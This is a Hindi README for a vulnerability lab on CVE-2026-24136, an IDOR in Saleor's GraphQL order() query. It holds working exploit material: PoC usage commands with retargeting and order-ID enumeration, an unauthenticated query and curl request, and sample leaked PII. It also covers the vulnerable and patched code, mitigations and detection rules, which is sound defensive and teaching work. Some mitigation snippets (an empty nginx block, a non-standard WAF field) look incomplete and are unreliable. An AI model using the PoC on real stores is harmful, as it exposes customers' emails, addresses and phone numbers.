
CVE-2026-24136 | Saleor GraphQL पर IDOR भेद्यता शोषण प्रयोगशाला - query order() प्रमाणीकरण की जाँच नहीं करता, ग्राहकों की संपूर्ण PII (ईमेल, पता, फ़ोन नंबर) उजागर करता है। Docker वातावरण, seed data स्क्रिप्ट और PoC शामिल है। CVSS 4.0: 8.7 HIGH।
| क्षेत्र | विवरण |
|---|
| CVE ID | CVE-2026-24136 |
| भेद्यता प्रकार | IDOR - उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण उपन्यास (CWE-639) |
| सॉफ्टवेयर | Saleor ई-कॉमर्स प्लेटफ़ॉर्म |
| प्रभावित संस्करण | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| पैच किए गए संस्करण | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| प्रभाव | अनधिकृत अभिनेता किसी भी ऑर्डर का PII (नाम, पता, फोन, ईमेल) पढ़ सकता है |
| प्रमाणीकरण आवश्यक? | नहीं |
Saleor ई-कॉमर्स ऑर्डर प्रबंधित करने के लिए एक GraphQL API प्रदान करता है। क्वेरी order(id: $id) ग्लोबल ID के अनुसार एक ऑर्डर का विस्तृत विवरण प्राप्त करने की अनुमति देती है। प्रभावित संस्करणों में, यह क्वेरी यह जांच नहीं करती कि कॉल करने वाले के पास उस ऑर्डर को देखने का अधिकार है या नहीं।
कोई भी, यहां तक कि पूरी तरह से गुमनाम उपयोगकर्ता जिसके पास कोई खाता नहीं है, इस क्वेरी को कॉल कर सकता है और ग्राहक का संपूर्ण PII प्राप्त कर सकता है: ईमेल, पूरा नाम, शिपिंग पता, फोन नंबर, लॉगिन इतिहास।
cve-2026-24136-lab/
├── docker-compose.yml # मृदा प्रयोगशाला (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # स्वचालित प्रारंभ स्क्रिप्ट (Windows PowerShell)
├── setup_lab.sh # स्वचालित प्रारंभ स्क्रिप्ट (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # स्टार्टअप रैपर: wsgi bug + gunicorn पैच करें
├── seed_data.py # PII के साथ पीड़ित खाते और ऑर्डर बनाएं
└── poc_cve_2026_24136.py # शोषण PoC
pip install requests# यदि आवश्यक हो तो निष्पादन नीति सेट करें
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# स्वचालित सेटअप चलाएँ
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. कंटेनर प्रारंभ करें
docker compose up -d
# 2. API तैयार होने की प्रतीक्षा करें (~60-90 सेकंड)
# जाँच करें: curl http://localhost:8000/health/
# 3. व्यवस्थापक खाता बनाएँ
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. उत्पाद/चैनल जोड़ें
docker exec cve_saleor_api python manage.py populatedb
# 5. पीड़ित डेटा बनाएँ (खाते + PII वाले ऑर्डर)
cd scripts
pip install requests
python seed_data.py
प्रारंभ के बाद एंडपॉइंट:
| सेवा | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| व्यवस्थापक | [email protected] / admin |
cd scripts
# तकनीकी स्पष्टीकरण देखें
python poc_cve_2026_24136.py explain
# सीडेड सूची से शोषण (अनुशंसित - Saleor 3.x UUID IDs का उपयोग करता है)
python poc_cve_2026_24136.py file order_ids.json
# सीधे base64 ग्लोबल ID का उपयोग करके एक ऑर्डर का शोषण करें
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# अनुक्रमिक गणना (केवल Saleor < 3.x पर काम करता है जो integer IDs का उपयोग करता है)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# लक्ष्य API बदलें
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# परिणाम JSON में सहेजें
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [लीक] ऑर्डर #41 -- ड्राफ्ट ║
╠──────────────────────────────────────────────────────────────╣
║ ईमेल : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ बिलिंग पता : Nguyen Van A ║
║ सड़क : 123 Le Loi Street ║
║ शहर/पिन : HO CHI MINH CITY 700000 ║
║ देश : Vietnam ║
║ फ़ोन : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] सफलतापूर्वक 6/6 ऑर्डर लीक हुए
Saleor Relay GraphQL स्पेक के अनुसार "Global Object Identification" का उपयोग करता है। प्रत्येक ऑब्जेक्ट को एक ग्लोबल ID द्वारा पहचाना जाता है जिसका रूप है:
base64("<TypeName>:<internal_id>")
Saleor 3.x में ऑर्डर के लिए:
# internal_id UUID v4 है
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
नोट: Saleor 2.x पूर्णांक अनुक्रमिक IDs (
Order:1,Order:2, ...) का उपयोग करता है, इसलिए गणना करना आसान है।
Saleor 3.x UUID में स्थानांतरित हो गया है, इसलिए हमलावर को UUID को किसी अन्य तरीके (ऑर्डर पुष्टिकरण ईमेल, URL लीक, आदि) से प्राप्त करना होगा।
फ़ाइल: saleor/graphql/order/resolvers.py
# दोषपूर्ण संस्करण (पैच से पहले)
def resolve_order(root, info, id):
"""ID द्वारा ऑर्डर हल करें – कोई प्राधिकरण जाँच नहीं है।"""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# कोई भी कॉल करने वाले को डेटा मिलता है, कोई उपयोगकर्ता जाँच नहीं, कोई सत्र जाँच नहीं
फ़ाइल: saleor/graphql/order/schema.py
# क्वेरी परिभाषा, कोई अनुमति घोषित नहीं
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# कोई @permission_required नहीं, कोई गार्ड नहीं
भेजी गई क्वेरी में Authorization हेडर नहीं है:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# curl का उपयोग करके भेजें, टोकन की आवश्यकता नहीं
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# प्रतिक्रिया (प्रमाणीकरण की आवश्यकता नहीं):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
हमलावर (गुमनाम) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NO Authorization header) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
फ़ाइल: saleor/graphql/order/resolvers.py
# पैच किया गया संस्करण (>= 3.20.110)
def resolve_order(root, info, id):
"""पूर्ण प्राधिकरण जाँच के साथ ID द्वारा ऑर्डर हल करें।"""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# गार्ड 1: स्टाफ और ऐप सभी ऑर्डर देख सकते हैं
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# गार्ड 2: अप्रमाणित उपयोगकर्ता → None लौटाएं (अस्तित्व लीक से बचने के लिए त्रुटि न दिखाएं)
if not info.context.user or not info.context.user.is_authenticated:
return None
# गार्ड 3: प्रमाणित उपयोगकर्ता केवल अपने स्वयं के ऑर्डर देख सकते हैं
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
फ़ाइल: saleor/graphql/order/schema.py
# अनुमति आवश्यकता का दस्तावेजीकरण करने के लिए एनोटेशन जोड़ें
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(कोई Authorization हेडर नहीं)
─────────────────────────────────────────────
पैच से पहले (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ PII लीक हो गया
─────────────────────────────────────────────
पैच के बाद (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ null लौटाता है, कोई त्रुटि नहीं (जानबूझकर – हमलावर को यह पता न लगने देना कि ऑर्डर मौजूद है या नहीं)
─────────────────────────────────────────────
null क्यों लौटाता है, त्रुटि के बजाय?अप्रमाणित अनुरोधों के लिए PermissionDenied के बजाय null लौटाना जानबूझकर किया गया डिज़ाइन है:
PermissionDenied लौटाता है → हमलावर को पता चलता है कि ऑर्डर मौजूद है (अस्तित्व oracle)null लौटाता है → हमलावर "कोई अनुमति नहीं" और "मौजूद नहीं" के बीच अंतर नहीं कर सकतायह GraphQL स्तर पर लागू एक टाइमिंग-सुरक्षित अस्तित्व जाँच तकनीक है।
raise PermissionDenied क्यों उपयोग किया जाता है?क्योंकि जब लॉग इन किया जाता है, तो स्पष्ट त्रुटि रिपोर्टिंग डीबग करने में मदद करती है। अस्तित्व oracle अब कोई समस्या नहीं है क्योंकि:
पूर्णांक IDs (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ N ऑर्डरों की गणना करने के लिए O(N) अनुरोधों की आवश्यकता है
→ हमलावर कुल ऑर्डरों की संख्या जान सकता है (बाइनरी सर्च द्वारा)
UUID IDs (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ खोज स्थान: 2^122 (UUID v4 में 122 यादृच्छिक बिट्स हैं)
→ ब्रूट फोर्स व्यावहारिक रूप से असंभव है
→ लेकिन ID अभी भी लीक होता है: ऑर्डर पुष्टिकरण ईमेल, डैशबोर्ड में URL, API प्रतिक्रियाएं, लॉग → यदि हमलावर को 1 ID मिल जाती है, तब भी शोषण किया जा सकता है
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – हमला वेक्टर: नेटवर्क (इंटरनेट के माध्यम से शोषण)
AC:L – हमला जटिलता: निम्न (कोई विशेष शर्त नहीं)
PR:N – आवश्यक विशेषाधिकार: कोई नहीं (कोई खाता नहीं)
UI:N – उपयोगकर्ता सहभागिता: कोई नहीं (पीड़ित के सहभागिता की आवश्यकता नहीं)
S:U – दायरा: अपरिवर्तित (केवल Saleor API को प्रभावित करता है)
C:H – गोपनीयता: उच्च (सभी PII लीक हो गए)
I:N – अखंडता: कोई नहीं (डेटा संशोधित नहीं किया जा सकता)
A:N – उपलब्धता: कोई नहीं (कोई DoS नहीं)
# वर्तमान संस्करण जांचें
pip show saleor | grep Version
# पैच किए गए संस्करण में अपग्रेड करें
pip install "saleor>=3.20.110" # यदि आप 3.20.x श्रृंखला का उपयोग कर रहे हैं
pip install "saleor>=3.21.45" # यदि आप 3.21.x श्रृंखला का उपयोग कर रहे हैं
pip install "saleor>=3.22.29" # यदि आप 3.22.x श्रृंखला का उपयोग कर रहे हैं
गुमनाम उपयोगकर्ताओं को order() क्वेरी कॉल करने से रोकें:
# Nginx – अप्रमाणित अनुरोधों से GraphQL order query को ब्लॉक करें
location /graphql/ {
# यदि कोई Authorization हेडर नहीं है और बॉडी में "order(" है
if ($http_authorization = "") {
# शोषण के संकेत वाली क्वेरीज़ को ब्लॉक करें
# नोट: यह केवल एक अस्थायी समाधान है, पैच का विकल्प नहीं
}
proxy_pass http://saleor_api;
}
AWS WAF / CloudFront के साथ:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# बिना प्रमाणीकरण के एक IP से अनुरोधों को सीमित करें
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
एक्सेस लॉग में शोषण के संकेत:
# पता लगाएं: 1 IP बिना Authorization के कई GraphQL अनुरोध भेज रहा है
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # अलर्ट करें यदि 1 IP से > 20 अनुरोध
# बिना प्रमाणीकरण के अनुरोध बॉडी में "order" पैटर्न का पता लगाएं
# (JSON बॉडी लॉगिंग आवश्यक)
Grafana / Datadog के लिए अलर्ट नियम:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "संभावित CVE-2026-24136 शोषण प्रयास"
description: "अप्रमाणित GraphQL POST अनुरोधों की उच्च दर"
# कंटेनर और वॉल्यूम रोकें और हटाएं (सभी डेटा हटाएं)
docker compose down -v
# केवल कंटेनर रोकें (डेटा रखें)
docker compose stop
चेतावनी: यह लैब केवल अनुसंधान, शिक्षा और सुरक्षा रिपोर्ट लिखने के उद्देश्यों के लिए है।
बिना लिखित अनुमति के वास्तविक प्रणालियों पर PoC का उपयोग न करें।